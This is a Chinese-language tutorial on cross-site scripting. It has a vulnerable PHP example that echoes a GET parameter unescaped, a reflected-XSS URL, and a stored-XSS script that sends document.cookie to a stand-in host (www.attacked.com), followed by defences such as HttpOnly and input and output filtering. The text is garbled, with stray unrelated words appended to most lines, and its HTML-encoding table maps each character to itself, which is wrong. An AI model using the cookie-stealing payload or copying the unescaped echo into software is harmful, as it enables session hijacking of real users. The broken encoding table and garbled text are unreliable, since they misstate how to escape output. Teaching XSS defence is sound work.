XSS攻擊的原理javascript
xss表示Cross Site Scripting(跨站腳本攻擊),它與SQL注入攻擊相似,SQL注入攻擊中以SQL語句做爲用戶輸入,從而達到查詢/修改/刪除數據的目的,而在xss攻擊中,經過插入惡意腳本,實現對用戶遊覽器的控制。php
xss攻擊主要用戶攻擊者盜取用戶的cookie,因爲sessionId是存儲在cookie中的,當攻擊者獲取了用戶的cookie,則攻擊者能夠在session的生命週期內,達到獲取被攻擊用戶的用戶權限。html
xss攻擊能夠分紅兩種類型:java
1.非持久型攻擊數據庫
顧名思義,非持久型攻擊是一次性的,僅對當前訪問產生影響。非持久型攻擊要求用戶訪問一個被攻擊者篡改的url地址,用戶訪問時,被植入的攻擊腳本被用戶瀏覽器執行,以達到攻擊的目的。瀏覽器
假設有如下頁面:安全
<?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://www.cnblogs.com/chenqf/">Click to Download</a>"; ?>
該頁面顯示兩條信息服務器
這時,當攻擊者給出如下URL連接:cookie
index.php?name=guest<script>alert('attacked')</script>
當用戶點擊該連接時,將產生如下html代碼,帶'attacked'的告警提示框彈出:網絡
Welcome guest <script>
alert('attacked');//獲取用戶cookie,並將cookie經過網絡傳輸至攻擊者,則攻擊者獲取了用戶權限
</script> <br> <a href='http://www.cnblogs.com/chenqf/'>Click to Download</a>
當用戶打開該地址後,會彈出「attacked」,攻擊者能夠在此植入javascript代碼,以達到操做用戶瀏覽器的目的
2.持久型攻擊
持久型攻擊是存儲式XSS漏洞,因爲其攻擊代碼已經存儲到服務器上或者數據庫中,因此受害者是不少人。
例子以下:A網站爲論壇網站,攻擊者能夠在論壇中發表文章,該文章內包含攻擊代碼,並保存。
<script>window.open(「www.attacked.com?param=」+document.cookie)</script>
這時,任意用戶看到了攻擊者發佈的文章,並點擊進入查看文章,此時以前被植入的攻擊代碼被執行,將用戶的cookie信息傳遞給攻擊者。
XSS攻擊的防護
1.HttpOnly防止劫取Cookie
HttpOnly最先由微軟提出,至今已經成爲一個標準。瀏覽器將禁止頁面的Javascript訪問帶有HttpOnly屬性的Cookie。
嚴格的書,HttpOnly並不是爲了對抗XSS攻擊,HttpOnly解決的是XSS後的Cookie劫持攻擊。
某些時候,應用可能須要javascript訪問某幾項cookie,這種cookie能夠不設置爲HttpOnly標記,而僅把HttpOnly標記給用於認證的關鍵Cookie。
2.輸入檢查 XSS Filter
常見的XSS攻擊都須要攻擊者構造一些特殊字符,這些字符多是正經常使用戶不會用到的,因此輸入檢查就有存在的必要了。
輸入檢查的邏輯,必須放在服務端代碼實現。若是隻是在客戶端使用javascript進行輸入檢查,很容易被攻擊者繞過。
目前的廣泛作法是,在服務端代碼和客戶端代碼中實現一樣的代碼檢查邏輯。
互聯網上有不少開源的XSS Filter的實現。
3.輸出檢查
在變量輸入到html頁面時,對html代碼進行HtmlEncode。
爲了對抗XSS,在HTMLEncode中要求至少轉換如下字符:
& –> &
< –> <
> –> >
」 –> "
‘ –> '
/ –> /
參考:《白帽子講Web安全》